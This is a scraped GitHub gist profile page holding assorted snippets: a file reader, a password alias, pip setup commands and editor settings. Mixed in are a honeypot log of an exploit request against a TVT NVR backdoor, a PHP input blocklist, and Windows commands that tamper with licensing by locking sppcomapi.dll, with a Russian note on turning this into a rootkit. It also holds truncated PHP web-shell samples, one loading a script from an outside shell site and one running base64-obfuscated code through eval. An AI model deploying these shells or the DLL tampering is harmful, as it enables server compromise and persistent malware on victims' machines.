Skip to content

Instantly share code, notes, and snippets.

View delyee's full-sized avatar
🏠
Working from home

delyee delyee

🏠
Working from home
View GitHub Profile
def rows(f, chunksize=1024, sep='|'):
"""
Read a file where the row separator is '|' lazily.
Usage:
>>> with open('big.csv') as f:
>>> for r in rows(f):
>>> process(r)
"""

web honeypot

request:

ip => 200.151.67.178, url => http://[edited].com/editBlackAndWhiteList, headers => <Header('accept-encoding': 'identity', 'content-length': '644', 'accept-language': 'en-us', 'host': '[edited]:88', 'accept': '*/*', 'user-agent': 'Mozila/5.0', 'connection': 'close', 'cache-control': 'max-age=0', 'content-type': 'text/xml', 'authorization': 'Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=')>, body => None

info: https://github.com/mcw0/PoC/blob/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt

@delyee
delyee / check.php
Created November 19, 2021 12:47
basic protect for php projects
function is_evil($input)
{
if (strpbrk($input, '();<>\'"\\/% #=`') || $input == "") {
return true;
}
else {
return false;
}
}

Python3:

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py && sudo python get-pip.py

Python2:

curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && sudo python get-pip.py
@delyee
delyee / keyring-python.md
Created October 22, 2020 01:17
use keyring
takeown /F %WINDIR%\System32\sppcomapi.dll
icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F

sppcomapi.dll — библиотека, которая контролируется основную часть функций SPP. Метод применим для операционных систем Windows 7 и Windows Server 2008 R2.

Здесь нужно добавить важную вещь: после использования команды takeown, библиотека sppcomapi.dll станет доступна для записи, то есть открывается дорога для malware и вирусов. Это делается так: просто «отменяем» команду «icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F», т.е. разблокируем. Инжектим свой злой код в эту dll, ждём пока пользователь перезагрузится. Вот такой простой rootkit.

@delyee
delyee / alias gen_password.md
Last active September 3, 2021 19:42
Easy gen strong password in terminal

Add this alias to ~/.zshrc or ~/.bashrc

alias gen_password='python3 -c "print(\"\".join(__import__(\"random\").choices(__import__(\"string\").ascii_letters + __import__(\"string\").digits, k=64)))"'

Example output

➜  ~ gen_password
cZus9VFXTfQeUhWvPlrDiWuDdax7aFkMV2B9WSylL2eTdtQbZpYqe2lLJkpz994Q
@delyee
delyee / Preferences.sublime-settings
Created April 24, 2020 11:31
save_on_focus_lost
{
"color_scheme": "Packages/Material Theme/schemes/Material-Theme.tmTheme",
"ignored_packages":
[
"Vintage"
],
"save_on_focus_lost": true,
"theme": "Material-Theme.sublime-theme"
}
<?php session_start();
@error_reporting(0);
@set_time_limit(0);
echo '<script src=http://www.topshellv.com/kaydet.php></script>';
if (version_compare(PHP_VERSION, '5.3.0', '<'))
{
@set_magic_quotes_runtime(0);
}
@clearstatcache();
@ini_set('error_log', NULL);
@delyee
delyee / indoxploit.php
Created April 24, 2020 10:13
phpshell sample
<?php
/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Friday, May 18th, 2018 at 0:49 UTC from IP 5.254.65.132
Checksum: 938b1786f719adfab1f8591c66a61c3ae99cb84c
*/
$uc9fdafa="\142\141\163\145\x36\x34\x5f\144\x65\143\157\x64\x65";@eval($uc9fdafa(
"Ly9OT3ZONTMvd1hibDRqYlRlV3JlUjNhOEFFNlZxZUhQNC81SmJsZlZPMEZhZjIrckt1S2Vaa2hBenJD
VjNkSHNHREtpZDZJSFdTVmNrZ2dxZlRBalBTblZrNnU1Y3dtNjNjYTJ2dUQrdytPRDJ0ZU9sWlc2dGxUY
mNtZTI5QUtMZ0dYZEg3THJJQUdQYjZUbXYwQTlNSWFrNlFvSm0rMmxrM25CSkk5N0pRNVBxZkllYW5QTD